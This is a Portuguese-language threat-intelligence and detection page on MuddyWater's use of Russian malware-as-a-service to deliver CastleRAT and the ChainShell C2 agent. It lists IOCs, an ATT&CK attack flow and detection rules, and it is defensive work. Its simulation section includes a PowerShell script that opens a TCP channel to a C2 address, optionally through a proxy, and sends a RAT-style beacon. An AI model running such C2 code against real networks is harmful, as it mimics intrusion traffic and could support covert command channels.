ChainShell: MuddyWater & MaaS Russa
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
MuddyWater, um ator de espionagem ligado ao Irã, está aproveitando a plataforma de malware como serviço TAG-150 russa para entregar CastleRAT e um novo agente de C2 habilitado por blockchain, baseado em Node.js, rastreado como ChainShell contra alvos israelenses e outros de alto valor. A atividade é suportada por um servidor web C2 exposto e mal configurado, um script de implantação PowerShell (reset.ps1) e cargas PE ocultas através de esteganografia. Várias versões do CastleRAT (incluindo Build 120 e Build 13) contêm identificadores codificados em hard que apontam para a mesma linhagem de MaaS. A infraestrutura de backend parece ser campanhizada, utilizando domínios compartilhados (por exemplo, serialmenot.com) e credenciais JWT por operação para separar o acesso e rastreamento em diferentes implantações.
Investigação
A JUMPSEC revisou o host C2 exposto, recuperou 15 amostras de malware e vinculou a lógica de implantação do reset.ps1 à entrega tanto do ChainShell quanto de várias versões do CastleRAT. Os investigadores também correlacionaram certificados de assinatura de código (Amy Cherne e Donald Gay) vistos em ferramentas conhecidas do MuddyWater com o instalador MSI TAG-150, formando uma trilha de atribuição de alta confiança. Foi observada sobreposição adicional entre amostras em marcadores de build codificados em hard, convenções de nomeação de tarefas agendadas recorrentes e IDs de campanha JWT incorporados nas ferramentas e artefatos do lado do servidor.
Mitigação
Monitore o reset.ps1, as tarefas agendadas associadas e artefatos de caminho de arquivo ou mutex únicos vinculados ao CastleRAT e ChainShell. Bloqueie a infraestrutura TAG-150 conhecida, incluindo serialmenot.com, ttrdomennew.com e sharecodepro.com, e examine a instalação de componentes Node.js acionada pelo PowerShell. Implemente controles rigorosos de assinatura de código e valide certificados suspeitos em relação a materiais de assinatura ligados ao MuddyWater.
Resposta
Se forem encontrados indicadores, isole os endpoints impactados, capture imagens completas de disco e memória e varra por remanescentes adicionais do CastleRAT e ChainShell. Revogue ou desconfie de certificados de assinatura de código comprometidos, redefina credenciais afetadas e coordene o relatório com os CERTs nacionais relevantes. Revise a telemetria de rede para padrões de acesso Ethereum RPC e uso de JWT vinculados ao fluxo de comando e controle do serialmenot.com.
"gráfico TB %% Definições de classes classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef technique fill:#c2f0c2 classDef malware fill:#ff9999 classDef process fill:#ffd966 %% Nós action_phishing["<b>Ação</b> – <b>T1566.002 Phishing</b><br/>Documento malicioso habilitado com macro (ClickFix/BatClickFix) entregue via email"] class action_phishing action action_user_exec["<b>Ação</b> – <b>T1204.002 Execução pelo Usuário</b><br/>A vítima abre o documento disparando o PowerShell"] class action_user_exec action tool_powershell["<b>Ferramenta</b> – <b>T1059.001 PowerShell</b><br/>Interpretador de script usado para carregar o carregador"] class tool_powershell tool tool_cmstp["<b>Ferramenta</b> – <b>T1218.003 CMSTP</b><br/>Execução de proxy binário do sistema que carrega INF malicioso"] class tool_cmstp tool technique_dll_sideload["<b>Técnica</b> – <b>T1574.002 Carregamento Lateral de DLL</b><br/>DLLs maliciosas carregadas via INF"] class technique_dll_sideload technique technique_dll_hijack["<b>Técnica</b> – <b>T1574.005 Seqüestro de Fluxo de Execução</b><br/>userenv.dll e xmllite.dll maliciosos colocados ao lado de binários legítimos"] class technique_dll_hijack technique technique_scheduled_task["<b>Técnica</b> – <b>T1543.001 Criar ou Modificar Processo do Sistema</b><br/>Tarefas agendadas (VirtualSmokestGuy120/666) para persistência"] class technique_scheduled_task technique technique_steganography["<b>Técnica</b> – <b>T1027.003 Esteganografia</b><br/>Carga nativa PE oculta dentro de imagens JPEG"] class technique_steganography technique technique_embedded_payload["<b>Técnica</b> – <b>T1027.009 Cargas Embutidas</b><br/>Cargas adicionais ainda mais ocultas"] class technique_embedded_payload technique technique_data_obfusc["<b>Técnica</b> – <b>T1001 Ofuscação de Dados</b><br/>Criptografia AES‑256‑CBC do tráfego C2"] class technique_data_obfusc technique technique_uac_bypass["<b>Técnica</b> – <b>T1548.002 Abuso do Mecanismo de Controle de Elevação</b><br/>A execução do CMSTP ignora o UAC"] class technique_uac_bypass technique technique_steal_cookie["<b>Técnica</b> – <b>T1539 Roubo de Cookie de Sessão Web</b><br/>Descriptografar cookies vinculados ao aplicativo Chrome v127+"] class technique_steal_cookie technique technique_forge_cookie["<b>Técnica</b> – <b>T1606.001 Forjar Credenciais Web</b><br/>Usar cookies extraídos para autenticação"] class technique_forge_cookie technique technique_alt_auth["<b>Técnica</b> – <b>T1550.004 Usar Material Alternativo de Autenticação</b><br/>Abuso de cookies para movimento lateral"] class technique_alt_auth technique technique_vnc["<b>Técnica</b> – <b>T1021.005 Serviços Remotos VNC</b><br/>VNC oculto fornece controle de desktop invisível"] class technique_vnc technique technique_remote_service["<b>Técnica</b> – <b>T1021 Serviços Remotos</b><br/>Movimento lateral adicional via serviços remotos"] class technique_remote_service technique technique_dead_drop["<b>Técnica</b> – <b>T1102.001 Resolvedor de Local Morto</b><br/>Endereço C2 resolvido a partir de contrato inteligente Ethereum"] class technique_dead_drop technique technique_websocket_bidirectional["<b>Técnica</b> – <b>T1102.002 WebSocket Bidirecional</b><br/>Canal WebSocket para troca de comando"] class technique_websocket_bidirectional technique technique_websocket_oneway["<b>Técnica</b> – <b>T1102.003 Comunicação Unidirecional</b><br/>Caminho de fallback C2"] class technique_websocket_oneway technique technique_web_protocol["<b>Técnica</b> – <b>T1071.001 Protocolo de Camada de Aplicação Protocolos Web</b><br/>Tráfego sobre WebSocket via HTTPS"] class technique_web_protocol technique malware_chainshell["<b>Malware</b> – <b>Nome</b>: ChainShell<br/>Orquestrador de carga útil lidando com C2, criptografia e movimento lateral"] class malware_chainshell malware %% Conexões action_phishing –>|conduz a| action_user_exec action_user_exec –>|executa| tool_powershell tool_powershell –>|carrega| tool_cmstp tool_cmstp –>|usa| technique_dll_sideload tool_cmstp –>|ignora| technique_uac_bypass technique_dll_sideload –>|habilita| technique_dll_hijack technique_dll_hijack –>|suporta| technique_scheduled_task technique_scheduled_task –>|cria| malware_chainshell malware_chainshell –>|contém| technique_steganography malware_chainshell –>|contém| technique_embedded_payload malware_chainshell –>|criptografa| technique_data_obfusc malware_chainshell –>|rouba| technique_steal_cookie technique_steal_cookie –>|habilita| technique_forge_cookie technique_forge_cookie –>|habilita| technique_alt_auth technique_alt_auth –>|habilita| technique_vnc technique_vnc –>|usa| technique_remote_service malware_chainshell –>|resolve C2 via| technique_dead_drop technique_dead_drop –>|comunica via| technique_websocket_bidirectional technique_websocket_bidirectional –>|fallback para| technique_websocket_oneway technique_websocket_bidirectional –>|usa protocolo| technique_web_protocol "
Fluxo de Ataque
Detecções
Possível Tentativa de Descoberta de Idioma do Sistema Local (via linha de comando)
Visualizar
Possível Tentativa de Descoberta de Idioma do Sistema Local (via PowerShell)
Visualizar
Binário NodeJS Executando de Localização Incomum (via linha de comando)
Visualizar
Possível Tentativa de Abuso do Publicnode Ethereum Como Canal C2 (via consulta_dns)
Visualizar
IOCs (SourceIP) para detectar: ChainShell: MuddyWater & Recursos de MaaS Russo
Visualizar
IOCs (DestinationIP) para detectar: ChainShell: MuddyWater & Recursos de MaaS Russo
Visualizar
IOCs (HashSha256) para detectar: ChainShell: MuddyWater & Recursos de MaaS Russo
Visualizar
Detecção de Comunicação C2 do CastleRAT em Portas Específicas [Conexão de Rede do Windows]
Visualizar
Detecção de Implantação do ChainShell via Node.js em Operações do MuddyWater [Criação de Processo do Windows]
Visualizar
Detectar Script PowerShell Reset.ps1 para Implantação do ChainShell [PowerShell do Windows]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação Prévia de Telemetria e Linha de Base deve ter passado.
-
Narrativa do Ataque e Comandos:
-
Etapa 1 – Preparar um servidor C2 simples (executar na máquina do atacante ou uma VM controlada). O servidor escuta na porta 9999 e ecoa dados recebidos.
-
Etapa 2 – No host de destino Windows, iniciar uma backdoor PowerShell que abre uma conexão TCP com o servidor C2 na porta 9999. A carga útil usa classes nativas do .NET para evitar criar um executável separado, imitando uma abordagem “viver da terra”.
-
Etapa 3 – Hop de proxy opcional: O script PowerShell primeiro contacta um proxy HTTP local (escutando em 127.0.0.1:8080) que encaminha o tráfego TCP para o servidor C2 remoto, demonstrando que a porta de destino permanece inalterada.
Essas etapas produzem eventos de firewall com
DestinationPort = 9999, satisfazendo a regra Sigma. -
-
Script de Teste de Regressão:
# ------------------------------------------------- # Simulação C2 estilo CastleRAT – PowerShell # ------------------------------------------------- # 1. Definir endereço do servidor C2 (substituir pelo seu IP de teste) $c2Ip = "10.0.0.50" $c2Port = 9999 # 2. OPCIONAL: Definir proxy local (se quiser testar hop de proxy) $useProxy = $false $proxyHost = "127.0.0.1" $proxyPort = 8080 # 3. Função para abrir um stream TCP (direto ou via proxy) function Invoke-C2Connection { param ( [string]$destIp, [int]$destPort, [bool]$viaProxy ) if ($viaProxy) { # Túnel HTTP CONNECT simples $proxyUri = "http://$proxyHost`:$proxyPort" $client = New-Object System.Net.Sockets.TcpClient($proxyHost,$proxyPort) $stream = $client.GetStream() $connectRequest = "CONNECT $destIp`:$destPort HTTP/1.1`r`nHost: $destIp`r`n`r`n" $bytes = [System.Text.Encoding]::ASCII.GetBytes($connectRequest) $stream.Write($bytes,0,$bytes.Length) # Descartar resposta do proxy $buffer = New-Object byte[] 1024 $null = $stream.Read($buffer,0,$buffer.Length) Write-Host "[+] Túnel de proxy estabelecido" return $stream } else { $client = New-Object System.Net.Sockets.TcpClient($destIp,$destPort) Write-Host "[+] Conexão TCP direta estabelecida" return $client.GetStream() } } # 4. Abrir a conexão $stream = Invoke-C2Connection -destIp $c2Ip -destPort $c2Port -viaProxy:$useProxy # 5. Enviar um beacon simples $beacon = "Beacon do CastleRAT $(Get-Date -Format o)`n" $bytes = [System.Text.Encoding]::UTF8.GetBytes($beacon) $stream.Write($bytes,0,$bytes.Length) Write-Host "[+] Beacon enviado" # 6. Manter o canal aberto por um curto período (simular persistência) Start-Sleep -Seconds 15 # 7. Limpeza $stream.Close() Write-Host "[+] Conexão encerrada" -
Comandos de Limpeza:
# Assegure que quaisquer conexões TCP remanescentes sejam encerradas Get-NetTCPConnection -RemotePort 9999 -State Established | ForEach-Object { try { $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue if ($proc) { Stop-Process -Id $proc.Id -Force } } catch {} } # Remover qualquer escuta proxy temporária se foi iniciada localmente Stop-Process -Name "python" -Force -ErrorAction SilentlyContinue
Observações Adicionais e Recomendações de Endurecimento
- Enriquecer Detecção Baseada em Porta: Combine a verificação de porta com IPs/domínios C2 conhecidos maliciosos, impressão digital TLS, ou heurísticas de volume de tráfego anormais.
- Permitir Lista de Serviços Legítimos: Crie uma lista de exceções para aplicativos que legitimamente usam as portas 9999 ou 8888 (por exemplo, certas ferramentas de banco de dados ou de gerenciamento).
- Linhas de Base Comportamentais: Implante modelos estatísticos para sinalizar conexões de saída de baixa frequência para portas de alto risco originadas de pontos finais não-servidores.
- Contexto de Processo: Correlacione eventos de firewall com o processo originador (
ImageFileName,CommandLine). Sinalize conexões feitas por processos inesperados (por exemplo,powershell.exe,cmd.exe).
Aplicando essas mitigações, a resiliência da regra pode ser elevada do atual 2 para um intervalo de 4-5 , reduzindo drasticamente os falsos positivos enquanto preserva a detecção do tráfego C2 genuíno do CastleRAT.